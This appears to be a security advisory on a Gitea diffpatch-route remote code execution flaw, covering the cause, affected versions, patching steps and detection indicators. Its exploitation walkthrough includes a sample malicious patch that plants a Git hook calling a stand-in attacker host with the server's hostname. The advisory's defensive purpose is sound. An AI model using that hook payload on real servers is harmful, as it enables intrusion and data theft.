Executive Summary
Gitea, the widely deployed self-hosted Git platform, has patched a critical remote code execution (RCE) vulnerability tracked as CVE-2026-60004 (CVSS 9.8). Disclosed and patched on July 27–28, 2026, the flaw allows any user who holds ordinary repository write access to turn attacker-controlled patch content into a live Git hook — giving the attacker code execution as the operating system account running the Gitea service.
The vulnerability was discovered by security researcher Shai Rod (NightRang3r) and was fixed in Gitea 1.27.1. A public proof-of-concept (PoC) already exists in the wild. Organizations running self-hosted Gitea instances must treat this as an emergency patching event.
Technical Details
How Git Hooks Work
Git hooks are shell scripts that Git executes automatically in response to specific events in a repository's lifecycle. Hooks live in the .git/hooks/ directory of a repository and can fire on events such as pre-receive, post-receive, pre-commit, and others. When a hook fires on the server side (e.g., pre-receive or post-receive), it runs with the privileges of the Git/Gitea service account on the host system — meaning a hook that executes a shell command runs that command directly on the server.
Because of this power, legitimate Gitea installations are supposed to gate hook creation to administrators only. The bug in CVE-2026-60004 breaks that gate.
The Vulnerable Code Path
The flaw exists in Gitea's diffpatch API route — the endpoint that applies patch files to a repository. Gitea processed incoming patch content using a bare clone of the repository as a temporary workspace. The problem: in a bare clone, certain Git operations that are normally contained to a working tree (such as those using --index) can interact with the .git/hooks/ directory directly.
By crafting a malicious patch payload, an attacker with repository write access could cause Gitea to write an executable shell script into the temporary clone's hooks directory. Because the temporary clone is a bare clone without normal working-tree isolation, the hook fires during the patch-application process and executes arbitrary shell commands as the Gitea server's OS account.
The fix in 1.27.1 changes the temporary clone from bare to non-bare, restoring the working-tree boundary that prevents hook injection. The Gitea commit comment explicitly warns that Git commands using --index may operate on the working tree — precisely the surface that was being exploited.
Prerequisites for Exploitation
| Prerequisite | Details |
|---|---|
| Authentication | Required (valid Gitea account) |
| Repository write access | Required — contributor or maintainer role |
| Git version | Git 2.32 or later on the server |
| Diffpatch route | Must be enabled (default: enabled) |
| Writable temp filesystem | Required — typically /tmp or equivalent |
Critically, Gitea enables open user registration by default. On an unchanged internet-facing installation, an outside attacker can self-register an account, create a repository (granting themselves write access to it), and immediately exploit the flaw — no prior relationship with the target instance required.
Affected Versions
| Gitea Version | Status |
|---|---|
| 1.17.x – 1.26.x | Vulnerable |
| 1.27.0 | Vulnerable |
| 1.27.1 | Patched |
| Earlier than 1.17 | Not affected (diffpatch route did not exist) |
| Gitea Cloud | Auto-updated by Gitea on July 27, 2026 |
Exploitation Scenario
The following step-by-step walkthrough illustrates how an attacker with write access to a repository would exploit CVE-2026-60004:
Step 1 — Attacker registers or logs in
On a Gitea instance with open registration enabled, the attacker creates a free account. On a restricted instance, the attacker uses a compromised or legitimately issued contributor account.
Step 2 — Attacker obtains write access to a repository
The attacker either creates a new personal repository (automatic write access) or is already a contributor on an existing project.
Step 3 — Craft the malicious patch
The attacker constructs a specially crafted patch file containing embedded hook content — for example:
diff --git a/.git/hooks/pre-receive b/.git/hooks/pre-receive
new file mode 100755
--- /dev/null
+++ b/.git/hooks/pre-receive
@@ -0,0 +1,3 @@
+#!/bin/sh
+curl -s http://attacker.example.com/callback?host=$(hostname)
+id >> /tmp/pwned.txtStep 4 — Submit patch via the diffpatch API
The attacker submits the patch through Gitea's /api/v1/repos/{owner}/{repo}/git/refs/diffpatch (or equivalent) endpoint, authenticated with their session token. Gitea processes the patch against a bare temporary clone of the repository.
Step 5 — Hook fires during patch processing
Because the temporary clone is bare (pre-patch), the hook file lands in the active hooks directory of the clone. When Git evaluates the patch, it triggers the hook, which executes the embedded shell commands as the Gitea OS service account.
Step 6 — Attacker achieves server-side code execution
The callback fires, pwned.txt is written, or any other payload executes. The attacker now has the privileges of the Gitea service account — which on many self-hosted deployments runs as git or even root.
Impact Assessment
Successful exploitation grants the attacker the privileges of the Gitea operating system account. Depending on how the instance is deployed and isolated, this can expose:
- Application and environment secrets stored in Gitea's working directory or config files (database passwords, SMTP credentials, OAuth secrets, secret keys)
- All repository data — including private repositories across all organizations and users on the instance
- Database credentials and contents — if the Gitea database (SQLite, MySQL, PostgreSQL) is reachable from the same host
- OAuth and SSO tokens — if Gitea is integrated with identity providers
- Internal network access — using the compromised server as a pivot point into internal infrastructure
- Persistent access — via SSH key planting, cron jobs, or additional hook backdoors
The presence of a public PoC and Gitea's default open registration policy makes this vulnerability particularly dangerous for any internet-facing Gitea instance that has not yet patched.
Remediation
Primary Fix: Upgrade to Gitea 1.27.1
The only complete remediation is upgrading to Gitea 1.27.1.
# If installed via binary download — replace with your architecture
wget https://dl.gitea.com/gitea/1.27.1/gitea-1.27.1-linux-amd64 -O /usr/local/bin/gitea
chmod +x /usr/local/bin/gitea
systemctl restart gitea# If running via Docker
docker pull gitea/gitea:1.27.1
docker compose down && docker compose up -dAfter upgrading, verify the running version:
gitea --version
# Expected output: Gitea version 1.27.1 ...Interim Mitigations (Apply While Patching)
If an immediate upgrade is not possible, apply these mitigations to reduce exposure:
-
Disable open registration — prevents unauthenticated attackers from self-registering:
- In
app.ini: setDISABLE_REGISTRATION = trueunder[service] - This does not fix the flaw but removes the public account-creation path
- In
-
Audit and reduce write-access grants — remove unnecessary contributor/maintainer permissions
-
Restrict network access — place the Gitea API behind a VPN or firewall rule limiting access to trusted IP ranges
-
Disable the diffpatch route — if your deployment does not use it:
- This may not be configurable without code changes in pre-1.27.1 releases; check your version's documentation
How to Check If You Have Been Exploited
Look for anomalous files in Git hook directories across repositories:
# Find any non-empty hook files across all repositories
find /path/to/gitea/repositories -path "*/.git/hooks/*" -type f ! -size 0
# Check for unexpected outbound connections in service logs
journalctl -u gitea --since "2026-07-20" | grep -i "hook\|exec\|curl\|wget\|bash"
# Review Gitea access logs for unusual diffpatch API calls
grep "diffpatch" /path/to/gitea/log/gitea.log | grep -v "200"Also review your system for signs of post-exploitation activity:
# Check recently modified files in /tmp
find /tmp -newer /etc/passwd -type f 2>/dev/null
# Look for unexpected cron jobs added under the gitea service account
crontab -u git -l 2>/dev/nullDetection Indicators
| Indicator Type | Value / Pattern |
|---|---|
| API endpoint | PATCH /api/v1/repos/*/git/refs/diffpatch |
| Unusual file path | .git/hooks/pre-receive, .git/hooks/post-receive written via API |
| Log pattern | Hook execution stderr in Gitea logs from API context |
| Network | Unexpected outbound connections from the Gitea host process |
| File system | New executables in /tmp, /var/tmp, or ~git/ |
| Auth pattern | New user registration followed immediately by API patch requests |
Related Vulnerability: File Inclusion Issue
Alongside CVE-2026-60004, Gitea 1.27.1 also addressed a server-side file inclusion issue in the Org-mode renderer. Prior to the fix, Gitea's #+INCLUDE directive in Org-mode documents was resolved against the server's filesystem rather than the repository contents — allowing a PoC that retrieved /etc/passwd from the host. Gitea has not published a separate CVE for this issue; it was silently resolved in 1.27.1 by returning include paths as plain text rather than reading them from disk.
References
- The Hacker News — New Gitea RCE Lets Repository Writers Plant a Git Hook to Run Shell Commands
- Gitea Blog — Release of 1.26.3 and 1.26.4
- Gitea CVEs — OpenCVE
- Rapid7 — Gitea Git Hooks Remote Code Execution Module